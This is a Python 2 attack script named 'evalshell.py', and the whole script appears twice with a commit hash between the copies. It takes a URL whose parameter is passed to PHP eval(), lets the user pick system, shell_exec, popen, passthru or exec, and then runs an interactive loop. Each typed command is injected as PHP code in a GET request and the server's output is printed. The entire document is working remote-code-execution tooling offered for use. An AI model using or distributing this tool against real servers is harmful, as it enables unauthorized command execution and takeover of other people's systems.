#!/usr/bin/python

import sys
import requests

print """
                   __     __         ____
  ___ _   ______ _/ /____/ /_  ___  / / /
 / _ \ | / / __ `/ / ___/ __ \/ _ \/ / / 
/  __/ |/ / /_/ / (__  ) / / /  __/ / /  
\___/|___/\__,_/_/____/_/ /_/\___/_/_/   
                                                                                                  

"""

print "Usage: ./evalshell.py"
print "URL: http://localhost/test.php?eval="

sDirtyUrl = input("URL: ")
sUrl = str(sDirtyUrl).strip()
print "[+] sUrl: " + str(sUrl) + ""

url = sUrl

print "Select execution type to use\n"
print "1. system() function"
print "2. shell_exec() function"
print "3. popen() function"
print "4. passthru() function"
print "5. exec() function"
func = raw_input("Function to use: ")
if func == "1":
    print "[+] Using system"
    while True:
        command = raw_input("shell:~$ ")
        if command == "exit":
            sys.exit(0)
        else:
            evilphp = "system('" + command + "');"
            requri = url + evilphp
            r = requests.get(requri)
            print r.text
elif func == "2":
    print "[+] Using shell_exec"
    while True:
        command = raw_input("shell:~$ ")
        if command == "exit":
            sys.exit(0)
        else:
            evilphp = "echo shell_exec('" + command + "');"
            requri = url + evilphp
            r = requests.get(requri)
            print r.text
elif func == "3":
    print "[+] Using popen"
    while True:
        command = raw_input("shell:~$ ")
        if command == "exit":
            sys.exit(0)
        else:
            evilphp = "popen('" + command + "');"
            requri = url + evilphp
            r = requests.get(requri)
            print r.text
elif func == "4":
    print "[+] Using passthru"
    while True:
        command = raw_input("shell:~$ ")
        if command == "exit":
            sys.exit(0)
        else:
            evilphp = "passthru('" + command + "');"
            requri = url + evilphp
            r = requests.get(requri)
            print r.text
elif func == "5":
    print "[+] Using exec"
    while True:
        command = raw_input("shell:~$ ")
        if command == "exit":
            sys.exit(0)
        else:
            evilphp = "echo exec('" + command + "');"
            requri = url + evilphp
            r = requests.get(requri)
            print r.text


df37fa46d55c38a9003be4464353c0f0f6492082
#!/usr/bin/python

import sys
import requests

print """
                   __     __         ____
  ___ _   ______ _/ /____/ /_  ___  / / /
 / _ \ | / / __ `/ / ___/ __ \/ _ \/ / / 
/  __/ |/ / /_/ / (__  ) / / /  __/ / /  
\___/|___/\__,_/_/____/_/ /_/\___/_/_/   
                                                                                                  

"""

print "Usage: ./evalshell.py"
print "URL: http://localhost/test.php?eval="

sDirtyUrl = input("URL: ")
sUrl = str(sDirtyUrl).strip()
print "[+] sUrl: " + str(sUrl) + ""

url = sUrl

print "Select execution type to use\n"
print "1. system() function"
print "2. shell_exec() function"
print "3. popen() function"
print "4. passthru() function"
print "5. exec() function"
func = raw_input("Function to use: ")
if func == "1":
    print "[+] Using system"
    while True:
        command = raw_input("shell:~$ ")
        if command == "exit":
            sys.exit(0)
        else:
            evilphp = "system('" + command + "');"
            requri = url + evilphp
            r = requests.get(requri)
            print r.text
elif func == "2":
    print "[+] Using shell_exec"
    while True:
        command = raw_input("shell:~$ ")
        if command == "exit":
            sys.exit(0)
        else:
            evilphp = "echo shell_exec('" + command + "');"
            requri = url + evilphp
            r = requests.get(requri)
            print r.text
elif func == "3":
    print "[+] Using popen"
    while True:
        command = raw_input("shell:~$ ")
        if command == "exit":
            sys.exit(0)
        else:
            evilphp = "popen('" + command + "');"
            requri = url + evilphp
            r = requests.get(requri)
            print r.text
elif func == "4":
    print "[+] Using passthru"
    while True:
        command = raw_input("shell:~$ ")
        if command == "exit":
            sys.exit(0)
        else:
            evilphp = "passthru('" + command + "');"
            requri = url + evilphp
            r = requests.get(requri)
            print r.text
elif func == "5":
    print "[+] Using exec"
    while True:
        command = raw_input("shell:~$ ")
        if command == "exit":
            sys.exit(0)
        else:
            evilphp = "echo exec('" + command + "');"
            requri = url + evilphp
            r = requests.get(requri)
            print r.text

